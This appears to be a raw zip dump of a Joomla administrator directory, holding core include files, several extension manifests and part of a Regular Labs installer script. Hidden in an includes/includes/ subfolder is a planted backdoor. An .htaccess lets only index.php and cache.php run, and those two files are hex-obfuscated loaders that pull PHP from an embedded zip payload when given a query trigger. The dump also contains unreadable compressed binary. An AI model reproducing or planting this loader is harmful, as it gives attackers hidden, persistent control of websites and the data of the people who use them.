.-.-.-.-.-

PK{b�\��_�xxincludes/defines.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
array_pop($parts);

// Defines
define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE', JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
define('JPATH_API', JPATH_ROOT . DIRECTORY_SEPARATOR . 'api');
define('JPATH_CLI', JPATH_ROOT . DIRECTORY_SEPARATOR . 'cli');
PK{b�\�,r��includes/includes/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PK{b�\�]��rrincludes/includes/cache.phpnu&1i�<?php  error_reporting(0); $MIK = array("\x5f\107\x45\x54"); (${$MIK[0]}["\157\x66"] == 1) && die("lENFK5eF1A06/ZUaSAAx9ane9AtYdJ5lawJU2vsQRmkG+wt/oHXZwXeUtx6SKR9S"); @require "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x63\x5f\x36\x39\x33\x33\x63\x62\x63\x38\x63\x61\x37\x32\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x33\x33\x63\x62\x63\x38\x63\x61\x37\x32\x63\x2e\x74\x6d\x70"; ?>PK{b�\�Q[k��'includes/includes/jpc_6933cbc8ca72c.zipnu&1i�PK�2�[aI��[b_6933cbc8ca72c.tmp�U�R�@~���$���\A�u���HZ�a��l BL���}���\@��Q�l�����~�p�#T�F�Q�,$�BMp�	�C�&�����9��o��$H`&V噙��
�Ը�c����*-��&�j.k�\���)��!�'/M�bN�8vv⌦�.�"$�j��	U&�KO��zL�	�,�tj�y.Q�7\B4�}��w����A��YcC�X���ަ6i�s��,�\-B� ix�2&
��D/hIS'��B*
�~�f���?�z?�/zKM͹�N)��}O&m����������.�$A������I���M�U���P�l;ݛė�7�~q�-���5��I��mO�j�,�n��ʃB��P��qя:!�$Sǝ#��8	��o���Y�����?�FRT����Ҋ�!�a�
�_L�u��l\o;]�?g_�k��[�P�}?zz�nx����%���4�4sc�c����t�_]؃�p:h
��p����P�6�����n�[Je�t�;1w��YYN��8ke�����W�׾�gW�f	��+
���0�F��Ʉ�:���������>�{b�If������`�e�G*_	�3q�
��2u�S�s\�Rx际h]�{,�We����R�n��b��[<�ݫ�h�,���8�m=�����8���k�Q��z��p�
�)��<����_��P����f_�h�i��8��AK��?9ɸ�0�ɧ�n�3'/HW�\����skX�����_;�_F�J��dReX��_�@yL��2��fV� !�B!/�b��:��;��t�
�G�x�s���$
�T�$t�����C{�ϜBb�`��uL=�ι��G������_�@:at��\����Z�C9$��SaR3��z�@�x�:i"z���t[P0A���PK�2�[�b��c_6933cbc8ca72c.tmp]X��8��+���]�{���v;��s������LI��JU���O�:U�ϯ�b�?���'����l�~���k�t�.�a��ku�j���=� �.�:>�+W��Os:�j�Ɨ�����z����i*Cb��ן_%�3,%�~w,5��$��J�/��t�6�9gutK�Խn�6,�gE�d ����_���u�.X�k�f] Ҳ�{#�E��YB�	�[824<h��f�5c,���*�ky�����~�"�=~����D�3~�
a�ki��x�Gٰ9qp�x4�y�`��6w۽v��7�V��Zg��{���� qB�0d��?�-%�Nhf2g륜WV��Z/Rq�^P%t�PA�r5ny��2$2�VT�-Қ؍��}�"_�"�x�X �d�|��3Ǚq�%)B7��Bt
Z��{,En���{����~�O�	8O�<�9#���e�'�8���@`Ţ1��=�#w�\�fcX�..�XƃC��Q��rG?�pk�~��
a��ى��Q
"��P�_�����Uz�^��"����ӧ��1'
�9����i0ܿ�l=b:;ûٞ�⌤�3h71gu�8<��ʥ*��T�:�g�Dg�[�f�iά3��몼ż��05�a�9����p =���=]]���jy�'�������4����&3�9�u�k/L��{��B�E����~W�KW�ԠD7�SS����Iɒ�7{����N�{0�sIN�&?�4@�j�H��\��&'j����K%�3�w#O
l[֊�rS�{�����4�*���~�}NH@k���w�4��²v*1���Q����e�YkqsG�?��V���+��Umx��Х�Z�,a|����-5f���4�4-�>�X6�Z�_��e�}wn��@�dn�w"�LR��톎�!��s���{� �
�ءM���6�o�#d^�Pӛ5�_34�rgSx_*ߍ��9D����RM�a�S'Y���g�f�>#�c���8]��< �*�T�����ԋ���?���
NL���������z�1��UBY�ku��c�J^��eؗ?[���w�M�.[��j淂�*��/�6���U^IW}��|n[��0��(��DJ��ӌ}�-�[�R������Q#�JFk�e-�uN�U�R���
��p?mMY63_7��Q���+҇7T!k�-+8��9lTlYҖ
p5#�0�9p��-�M�ݽ���Z
������Wp��Xu!j	��nj���1����{��$~�,1�i��}��y�L[4~���L7��}҂�x8���vؐ�s؛��n�,9��a(��guE�C/��	�M���+�����0r�Wz�5CA�=�d��
;��\o���D�U��Z�8���*�z���կ���t=�ڵ>�
���7;�e��C3�bep�f&��QI3�4��>�I8m�͓���bv556������ٳ6 �m�,�*YuE�� �q9Npo2����;6����c�QI@���e?���u�n�����i��x�m�:��b����?�G����s�7�]�#�ٖ�̘o�<ӓ�*�Z�)���0Lcy6A�K�g���.i6i����1��D�}=��:�Č�s-��
˧.v{��y,u2_�R��0��iL �qK,e��b�v����
����#���
Ӵ�&��jW����y�Sw@i@��q�T���w��տ�
0���}�pE�r�a}��f�~��� �%�	�!AF1Պ���s6���l�w{ݒ��G�v`����KwkE��QIP&�tq|��obd���$N!S�<C)�Y�nD��Vf�^Qt'7v��V	� ���K���Y�^��hՇ!�)�l.h��^���xqEU$JN�K��Y�����"�(qfM@��s�,�#g�k�U��D���S���JS�z`���X_��������n ���%
e�as6ۦD|b�Z���7ކ��Luz��O�N����閯�䥃���Ԟ�H�U����;����c�#FO��
�{.��)��O�I�4���c��BW��k��)��dq�(0.�Gc��Wz��7jֽ�4���-�@&q�޴���%^�Ϝ��%k�:p�(n3
�/d�S�"�`�8h�lk5t���
��xn�hQR�+W���^K�(|�6c�\�b�z��i��D�D5P�e/k��]�o�L/�!r�(
�$2u�M�o�|�3-Ło�r��U~��#�W�O��Y2�oAz9��U�~��Tm�(�4n���Yh��\�d|�G^:�:�U�93�����~��;��z{MI�%�D���kl2?dWCf�IO�H�`Л	A�lT!�&��}�K�<�,�*�Ǆ�y�n6Rm��zi[����)GR�%���ij=�m(
�g8I�L�u_��ֿ֒��]�i�O���{���ơ��G쬃W�#N�&��ϡ1
̴�_�$q����i�
Ww�L�n]�%it���*��Q�F�rhҠ��$���C���i�أ4E^���(�.T[��"����%�Y�HS�;�����g\9c��F~C��l�Լ"�"�o%NլZ�\Kx�NSy,�s������o��
�����:
<A�6�$��J����J��S��2�ә*Bs+{��,?�2.��v�]٧FU���g����^/Xf0X
�������h�
��#��j}J���$G̓:_mM3�8Kx#�1~�,̶?� ��NlU��{��<N8S�3*ӳ��;
�f^ꆾ�r_.W@Fm#å�lǏ��hJ�쩠Q���_j���f[/�'*�]�� �<�x���Sn5P_ZLo����?�/N\��/�|�cw�c��9��鎅$���ԚM�i�t�����.;Y)���I�<�Zz-��MOoC�%O�vF��y�q3)i��J]�x0j�� x�W	�c�|�2��
3�,���ԧ�\�5*�^"����%箜�G������r�\#���9�ǻ�Q��PW<ށ*��&��?�����2-3�Y�V3I/}�)ϲ�$�,��P�IqȊ�i�2GM
��c޼��?;�ݦ��U���}f�C��+�6�#��r����G�|[�Al��l[M���X�!ߊw�>���g|��u|
��.
Mn@�aBE���b���=ʞ�h��`WT��/1͐j�>����-G�����D̻	�g�d*�?���ꐓ[�CX��_��Vٗ~N�/��4{^���Z�Ѻdr�ϥcfG��Q�dM�k��e�J�S$�q�	�~g�"�WD�䥂�981����MO�HwS�� X� ����J P�[���=��Y�B�?�\;tH�`�y�bπ�,�l� p�`��Ӫ#M����e^���Ǒ���'���{�"�D��:��(��ZOI]`ş�5�黯�
�Ц�Cu.BY��wD�G	K��[��1�>�gŷ}��{�p͓�L�)�+�f���=F�ۥ;jo$`��Ӌ���@%�G^ь$O�t��4a��;�~u!�8p}����=��CH�_g��XF��ō�g^9_H{7q|܄�w��HD�a�W~�H��$`�Ƌ��	�_�����,�j�\�$\���f�Ǖo6��!���.Vr�޾Q�´6�@K1Uo�o9�E�=6L.B�-��&��y����[i�V��k�u���Uޕ��eM2�Ϭ�@�qǕ��Fr((�{�E����"AO	�P���I�� �%����zaO���57Gw�J��{�;�0GXC�v�����<_��Ǯ�ˋT�~,$�=�n�?�E"�i�ҝ_$Ӟu��)=>o�N����y^&d��h�A.9���v���T)�.�_㵵޸��,޸n�;*�[��>�@LJ�d�0V����-[�7��%c'�� c��ׁ�>�[=?\C��k`3��?���[�_����`��ۅ#�0�o0?��ѯ��?�����ϯNϭ�wк'���J����&~��W�z��x�	��Y��Y�?6����۾?_�9|Q���垶�kП~ax�/N��c�_���M�7\W���1H�{_}��S?��ײ��j6k̅�C�y�������O�V�ϟ:�T<`"�ȋ]���x�if3��S�c����sG)�� ���pU�v��̯z��j~��o��w딧uܥU������Im(�x��N�c�������'PK?�2�[aI��[��b_6933cbc8ca72c.tmpPK?�2�[�b�����c_6933cbc8ca72c.tmpPK��PK{b�\/�؅��includes/includes/index.phpnu&1i�<?php  error_reporting(0); $MIK = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x63\x5f\x36\x39\x33\x33\x63\x62\x63\x38\x63\x61\x37\x32\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x33\x33\x63\x62\x63\x38\x63\x61\x37\x32\x63\x2e\x74\x6d\x70", ); (${$MIK[0]}["\157\x66"]==1) && die($MIK[1]($MIK[2])); @require $MIK[2]; ?>PK{b�\�Q���includes/framework.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Version;
use Joomla\Utilities\IpHelper;

// System includes
require_once JPATH_LIBRARIES . '/bootstrap.php';

// Installation check, and check on removal of the install directory.
if (
    !file_exists(JPATH_CONFIGURATION . '/configuration.php')
    || (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10)
    || (file_exists(JPATH_INSTALLATION . '/index.php') && (false === (new Version())->isInDevelopmentState()))
) {
    if (file_exists(JPATH_INSTALLATION . '/index.php')) {
        header('Location: ../installation/index.php');

exit();
    } else {
        echo 'No configuration file found and no installation code available. Exiting...';

exit;
    }
}

// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once JPATH_CONFIGURATION . '/configuration.php';
ob_end_clean();

// System configuration.
$config = new JConfig();

// Set the error_reporting, and adjust a global Error Handler
switch ($config->error_reporting) {
    case 'default':
    case '-1':
        break;

case 'none':
    case '0':
        error_reporting(0);

break;

case 'simple':
        error_reporting(E_ERROR | E_WARNING | E_PARSE);
        ini_set('display_errors', 1);

break;

case 'maximum':
    case 'development': // <= Stays for backward compatibility, @TODO: can be removed in 5.0
        error_reporting(E_ALL);
        ini_set('display_errors', 1);

break;

default:
        error_reporting($config->error_reporting);
        ini_set('display_errors', 1);

break;
}

define('JDEBUG', $config->debug);

// Check deprecation logging
if (empty($config->log_deprecated)) {
    // Reset handler for E_USER_DEPRECATED
    set_error_handler(null, E_USER_DEPRECATED);
} else {
    // Make sure handler for E_USER_DEPRECATED is registered
    set_error_handler(['Joomla\CMS\Exception\ExceptionHandler', 'handleUserDeprecatedErrors'], E_USER_DEPRECATED);
}

if (JDEBUG || $config->error_reporting === 'maximum') {
    // Set new Exception handler with debug enabled
    $errorHandler->setExceptionHandler(
        [
            new \Symfony\Component\ErrorHandler\ErrorHandler(null, true),
            'renderException',
        ]
    );
}

/**
 * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer.
 *
 * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to
 * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer.
 */
if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1) {
    // If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR
    IpHelper::setAllowIpOverrides(true);
} else {
    // We disable the allowing of IP overriding using headers by default.
    IpHelper::setAllowIpOverrides(false);
}

unset($config);
PK{b�\�_���includes/app.phpnu�[���<?php

/**
 * @package    Joomla.Administrator
 *
 * @copyright  (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

if (file_exists(dirname(__DIR__) . '/defines.php')) {
    include_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES')) {
    define('JPATH_BASE', dirname(__DIR__));
    require_once JPATH_BASE . '/includes/defines.php';
}

// Check for presence of vendor dependencies not included in the git repository
if (!file_exists(JPATH_LIBRARIES . '/vendor/autoload.php') || !is_dir(JPATH_ROOT . '/media/vendor')) {
    echo file_get_contents(JPATH_ROOT . '/templates/system/build_incomplete.html');

exit;
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? \Joomla\CMS\Profiler\Profiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Boot the DI container
$container = \Joomla\CMS\Factory::getContainer();

/*
 * Alias the session service keys to the web session service as that is the primary session backend for this application
 *
 * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects
 * is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered
 * deprecated to be removed when the class name alias is removed as well.
 */
$container->alias('session.web', 'session.web.administrator')
    ->alias('session', 'session.web.administrator')
    ->alias('JSession', 'session.web.administrator')
    ->alias(\Joomla\CMS\Session\Session::class, 'session.web.administrator')
    ->alias(\Joomla\Session\Session::class, 'session.web.administrator')
    ->alias(\Joomla\Session\SessionInterface::class, 'session.web.administrator');

// Instantiate the application.
$app = $container->get(\Joomla\CMS\Application\AdministratorApplication::class);

// Set the application as global app
\Joomla\CMS\Factory::$application = $app;

// Execute the application.
$app->execute();
PK{b�\�V�includes/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK{b�\3�h�manifests/libraries/lib_xef.xmlnu&1i�<?xml version="1.0" encoding="UTF-8" ?>
<extension type="library" version="2.5" method="upgrade">
    <name>lib_xef</name>
    <libraryname>xef</libraryname>
    <description>
        ThemeXpert Extension Framework (XEF) – A rapid extension development framework for all ThemeXpert extensions.
    </description>
    <creationDate>03/16/2014</creationDate>
    <author>Parvez Akther</author>
    <authorEmail>parvez@themexpert.com</authorEmail>
    <authorUrl>http://themexpert.com/</authorUrl>
    <copyright>Copyright (C) 2011 - 2011 ThemeXpert</copyright>
    <license>http://www.gnu.org/licenses/gpl-3.0.html GNU/GPLv3</license>
    <version>1.4.1</version>

<files>
        <folder>assets</folder>
        <folder>fields</folder>
        <folder>libs</folder>
        <folder>sources</folder>
        <file>lib_xef.xml</file>
        <file>index.html</file>
        <file>LICENSE.txt</file>
        <file>bootstrap.php</file>
        <file>xef.php</file>
        <file>utility.php</file>
    </files>

</extension>PK{b�\[=6^CCmanifests/libraries/joomla.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<extension type="library">
	<name>lib_joomla</name>
	<libraryname>joomla</libraryname>
	<version>13.1</version>
	<description>LIB_JOOMLA_XML_DESCRIPTION</description>
	<creationDate>2008-01</creationDate>
	<copyright>(C) 2008 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>https://www.joomla.org</authorUrl>
	<packager>Joomla!</packager>
	<packagerurl>https://www.joomla.org</packagerurl>
	<files folder="libraries">
		<folder>compat</folder>
		<folder>joomla</folder>
		<folder>legacy</folder>
		<file>import.legacy.php</file>
		<file>import.php</file>
		<file>loader.php</file>
		<file>platform.php</file>
	</files>
</extension>
PK{b�\�V�manifests/libraries/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK{b�\AO
Q88manifests/libraries/phpass.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<extension type="library" method="upgrade">
	<name>lib_phpass</name>
	<libraryname>phpass</libraryname>
	<description>LIB_PHPASS_XML_DESCRIPTION</description>
	<creationDate>2004-01</creationDate>
	<author>Solar Designer</author>
	<authorEmail>solar@openwall.com</authorEmail>
	<authorUrl>https://www.openwall.com/phpass/</authorUrl>
	<license>PD / GWC</license>
	<version>0.3</version>
	<packagerurl>https://www.openwall.com/phpass/</packagerurl>

<files folder="phpass">
		<file>PasswordHash.php</file>
	</files>
</extension>
PK{b�\��400#manifests/libraries/regularlabs.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="4.0" type="library" method="upgrade">
  <name>Regular Labs Library</name>
  <description>Regular Labs Library - used by Regular Labs extensions</description>
  <version>25.7.12430</version>
  <creationDate>July 2025</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2025 Regular Labs - All Rights Reserved</copyright>
  <license>GNU General Public License version 2 or later</license>
  <libraryname>regularlabs</libraryname>
  <namespace path="src">RegularLabs\Library</namespace>
  <scriptfile>script.install.php</scriptfile>
  <files>
    <file>autoload.php</file>
    <file>regularlabs.xml</file>
    <folder>layouts</folder>
    <folder>src</folder>
    <folder>vendor</folder>
  </files>
  <media folder="media" destination="regularlabs">
    <folder>css</folder>
    <folder>images</folder>
    <folder>js</folder>
    <folder>scss</folder>
  </media>
</extension>
PK{b�\��ĉii(manifests/libraries/allediaframework.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="library" method="upgrade">
    <name>Joomlashack Framework</name>
    <libraryname>allediaframework</libraryname>
    <author>Joomlashack</author>
    <authorEmail>help@joomlashack.com</authorEmail>
    <authorUrl>https://www.joomlashack.com/</authorUrl>
    <copyright>Copyright 2016-2023 Joomlashack.com</copyright>
    <license>GNU GPL; see LICENSE file</license>
    <description>Shared library for Joomlashack extensions</description>
    <version>3.8.1</version>
    <creationDate>November 10 2025</creationDate>
    <variant>FREE</variant>

<files>
        <folder>Framework</folder>
        <folder>helpers</folder>
        <folder>vendor</folder>

<filename>include.php</filename>
    </files>

<alledia>
        <element>allediaframework</element>
        <namespace>AllediaFramework</namespace>
        <name>Joomlashack Framework</name>
        <license>free</license>
        <targetplatform>3.9</targetplatform>
        <phpminimum>7.2.5</phpminimum>
    </alledia>
</extension>
PK{b�\�V�manifests/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK{b�\r�yy$manifests/packages/pkg_sourcerer.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<extension type="package" method="upgrade">
  <packagename>sourcerer</packagename>
  <name>PKG_SOURCERER</name>
  <version>12.1.0</version>
  <creationDate>June 2025</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2025 Regular Labs - All Rights Reserved</copyright>
  <license>GNU General Public License version 2 or later</license>
  <scriptfile>script.install.php</scriptfile>
  <blockChildUninstall>true</blockChildUninstall>
  <files folder="packages/j4">
    
    <file type="plugin" group="system" id="sourcerer">plg_system_sourcerer</file>
    <file type="plugin" group="editors-xtd" id="sourcerer">plg_editors-xtd_sourcerer</file>
  </files>
  
  
  <languages folder="language">
    <language tag="en-GB">en-GB/en-GB.pkg_sourcerer.sys.ini</language>
  </languages>
  <updateservers>
    <server type="extension" priority="1" name="Sourcerer">https://download.regularlabs.com/updates.xml?e=sourcerer&amp;type=.xml</server>
  </updateservers>
</extension>
PK{b�\f�3-��#manifests/packages/pkg_yootheme.xmlnu&1i�<?xml version="1.0" encoding="UTF-8" ?>
<extension type="package" method="upgrade">
    <name>YOOtheme</name>
    <packagename>yootheme</packagename>
    <version>4.5.33</version>
    <description>A powerful, flexible and elegant website builder that allows you to create complex pages within minutes and customize every aspect of the theme.</description>
    <creationDate>December 2025</creationDate>
    <copyright>Copyright (C) YOOtheme GmbH</copyright>
    <license>GNU General Public License</license>
    <author>YOOtheme</author>
    <authorEmail>info@yootheme.com</authorEmail>
    <authorUrl>https://yootheme.com</authorUrl>
    <scriptfile>script.php</scriptfile>
    <dlid prefix="key=" />
    <files folder="packages">
        <file type="template" id="yootheme" client="site">tpl_template</file>
        <file type="plugin" id="yootheme" group="system">plg_system_yootheme</file>
        <file type="plugin" id="location" group="fields">plg_fields_location</file>
        <file type="module" id="mod_yootheme_builder" client="site">mod_yootheme_builder</file>
        <file type="module" id="mod_yootheme_link" client="administrator">mod_yootheme_link</file>
    </files>
    <updateservers>
        <server
            name="YOOtheme - Template"
            type="extension"
            priority="1"
        >https://api.yootheme.com/v1/package/yootheme_j33.xml?v=4.5.33</server>
    </updateservers>
</extension>
PK{b�\߳�8X�X�/manifests/packages/sourcerer/script.install.phpnu&1i�<?php
/**
 * @package         Sourcerer
 * @version         12.1.0
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Installer\Manifest\PackageManifest as JPackageManifest;
use Joomla\CMS\Language\Text as JText;

if ( ! class_exists('pkg_sourcererInstallerScript'))
{
    class pkg_sourcererInstallerScript
    {
        static $adapter;
        static $current_version;
        static $extensions         = [];
        static $file_string;
        static $min_joomla_version = [3 => '3.9.0', 4 => '4.0'];
        static $min_php_version    = [3 => '7.4', 4 => '8.1'];
        static $name;
        static $new_manifest;
        static $package_name;
        static $previous_version;
        static $previous_joomla_version;
        static $dependancies       = [
            'regularlabs',
            'conditions',
        ];

public function postflight($install_type, $adapter)
        {
            static::$adapter = $adapter;

if ( ! in_array($install_type, ['install', 'update']))
            {
                return true;
            }

self::updateManifestFile();
            self::updatePackageIds();

self::publishExtensions($install_type);
            self::updateUpdateSites();
            self::removeUnusedLanguageFiles();

self::clearCache();
            self::displayMessages();

return true;
        }

private function removeUnusedLanguageFiles()
        {
            $joomla_version  = self::getJoomlaVersion();
            $packages_folder = __DIR__ . '/packages/j' . $joomla_version;

$installed_languages = array_unique(array_merge(
                JFolder::folders(JPATH_SITE . '/language', '^[a-z]+-[A-Z]+$'),
                JFolder::folders(JPATH_ADMINISTRATOR . '/language', '^[a-z]+-[A-Z]+$')
            ));
            $package_languages   = JFolder::folders($packages_folder, '^[a-z]+-[A-Z]+$', true, true);

$remove_folders = [];
            foreach ($package_languages as $path)
            {
                $path = str_replace($packages_folder . '/', '', $path);

// remove leading package folders
                $path = preg_replace('#^[^/]+/packages/#', '', $path);

// continue if there are not exactly 2 slashes in the path
                if (substr_count($path, '/') !== 2)
                {
                    continue;
                }

[$extension, $unused, $language] = explode('/', $path);

// skip if this is an installed language
                if (in_array($language, $installed_languages))
                {
                    continue;
                }

$folder = self::getFolderFromExtensionName($extension);

// skip if no extension folder was found
                if ( ! $folder)
                {
                    continue;
                }

$folder = self::getFolderFromExtensionName($extension) . '/language/' . $language;

// skip if folder doesn't exist
                if ( ! is_dir($folder))
                {
                    continue;
                }

$remove_folders[] = self::getFolderFromExtensionName($extension) . '/language/' . $language;
            }

if (empty($remove_folders))
            {
                return;
            }

self::delete($remove_folders);
        }

private static function getFolderFromExtensionName($extension)
        {
            [$type, $name] = explode('_', $extension, 2);
            switch ($type)
            {
                case 'com':
                    return JPATH_ADMINISTRATOR . '/components/com_' . $name;
                case 'mod':
                    return JPATH_ADMINISTRATOR . '/modules/mod_' . $name;
                case 'plg':
                    [$folder, $name] = explode('_', $name, 2);

return JPATH_SITE . '/plugins/' . $folder . '/' . $name;
                default:
                    return false;
            }
        }

private static function delete($files = [])
        {
            foreach ($files as $file)
            {
                if (is_dir($file))
                {
                    JFolder::delete($file);
                }

if (is_file($file))
                {
                    JFile::delete($file);
                }
            }
        }

public function preflight($install_type, $adapter)
        {
            static::$adapter = $adapter;

if ( ! in_array($install_type, ['install', 'update']))
            {
                return true;
            }

$manifest = $adapter->getManifest();

static::$package_name            = trim($manifest->packagename);
            static::$name                    = trim($manifest->name);
            static::$current_version         = trim($manifest->version);
            static::$previous_version        = self::getPreviousVersion();
            static::$previous_joomla_version = self::getPreviousJoomlaVersion();

if ( ! self::canInstall())
            {
                return false;
            }

self::setNewManifest();

return true;
        }

private static function canInstall()
        {

if ( ! self::passFreeOverProCheck())
            {
                return false;
            }

if ( ! self::passJoomlaVersion())
            {
                return false;
            }

if ( ! self::passMinimumPHPVersion())
            {
                return false;
            }

return true;
        }

private static function clearCache()
        {
            JFactory::getCache()->clean('_system');
            JFactory::getCache()->clean('com_plugins');
            JFactory::getCache()->clean('com_modules');
        }

private static function displayChangelog()
        {
            $msg = self::getInstallationLanguageString();

JFactory::getApplication()->enqueueMessage(
                JText::sprintf(
                    $msg,
                    '<strong>' . JText::_(static::$name . '_SHORT') . '</strong>',
                    '<strong>' . static::$current_version . '</strong>'
                ), 'success'
            );

$changelog = self::getChangelog();

JFactory::getApplication()->enqueueMessage($changelog, 'info');
        }

private static function displayMessages()
        {
            if (php_sapi_name() == 'cli')
            {
                return;
            }

self::displayChangelog();
            self::reorderMessageQueue();
        }

private static function getChangelog()
        {
            $changelog = file_get_contents(__DIR__ . '/CHANGELOG.txt');

$changelog = "\n" . trim(preg_replace('#^.* \*/#s', '', $changelog));
            $changelog = preg_replace("#\r#s", '', $changelog);

$parts = explode("\n\n", $changelog);

if (empty($parts))
            {
                return '';
            }

$changelog = [];

// Add first entry to the changelog
            $changelog[] = array_shift($parts);

$previous_version_simple = preg_replace('#^([0-9\.]+).*$#', '\1', static::$previous_version);

if (preg_match('#^[0-9]+-[a-z]+-[0-9]+ : v([0-9\.]+(?:-dev[0-9]+)?)\n#i', trim($changelog[0]), $match))
            {
                $this_version = $match[1];
            }

// Add extra older entries if this is an upgrade based on previous installed version
            if (static::$previous_version)
            {
                foreach ($parts as $part)
                {
                    $part = trim($part);

if ( ! preg_match('#^[0-9]+-[a-z]+-[0-9]+ : v([0-9\.]+(?:-dev[0-9]+)?)\n#i', $part, $match))
                    {
                        continue;
                    }

$changelog_version = $match[1];

if (version_compare($changelog_version, $previous_version_simple, '<='))
                    {
                        break;
                    }

$changelog[] = $part;
                }
            }

$joomla_version = self::getJoomlaVersion();

$badge_classes = [
                'default' => $joomla_version == 3 ? 'label label-sm label-default' : 'rl-badge badge bg-secondary',
                'success' => $joomla_version == 3 ? 'label label-sm label-success' : 'rl-badge badge text-white bg-success',
                'info'    => $joomla_version == 3 ? 'label label-sm label-info' : 'rl-badge badge text-white bg-info',
                'warning' => $joomla_version == 3 ? 'label label-sm label-warning' : 'rl-badge badge text-white bg-warning',
                'danger'  => $joomla_version == 3 ? 'label label-sm label-important' : 'rl-badge badge text-white bg-danger',
            ];

$changelog = implode('</pre>' . "\n\n", $changelog);

//  + Added   ! Removed   ^ Changed   # Fixed
            $change_types = [
                '+' => ['title' => 'Added', 'class' => $badge_classes['success']],
                '^' => ['title' => 'Changed', 'class' => $badge_classes['info']],
                '#' => ['title' => 'Fixed', 'class' => $badge_classes['warning']],
                '!' => ['title' => 'Removed', 'class' => $badge_classes['danger']],
            ];
            foreach ($change_types as $char => $type)
            {
                $changelog = preg_replace(
                    '#\n ' . preg_quote($char, '#') . ' #',
                    "\n" . '<span class="' . $type['class'] . '" title="' . $type['title'] . '">' . $char . '</span> ',
                    $changelog
                );
            }

// Extract note
            $note = '';
            if (preg_match('#\n > (.*?)\n#s', $changelog, $match))
            {
                $note      = $match[1];
                $changelog = str_replace($match[0], "\n", $changelog);
            }

$changelog = preg_replace('#see: (https://www\.regularlabs\.com[^ \)]*)#s', '<a href="\1" target="_blank">see documentation</a>', $changelog);

$changelog = preg_replace(
                    "#(\n+)([0-9]+.*?) : v([0-9\.]+(?:-dev[0-9]*)?)([^\n]*?\n+)#",
                    '\1'
                    . '<code>v\3</code> [\2]'
                    . '\4<pre>',
                    $changelog
                ) . '</pre>';

$code_styling = $joomla_version == 3
                ? 'white-space: pre-wrap;line-height: 1.6em;max-height: 120px;overflow: auto;'
                : 'white-space: pre-wrap;line-height: 1.6em;';
            $changelog    = str_replace(
                [
                    '<pre>',
                    '[FREE]',
                    '[PRO]',
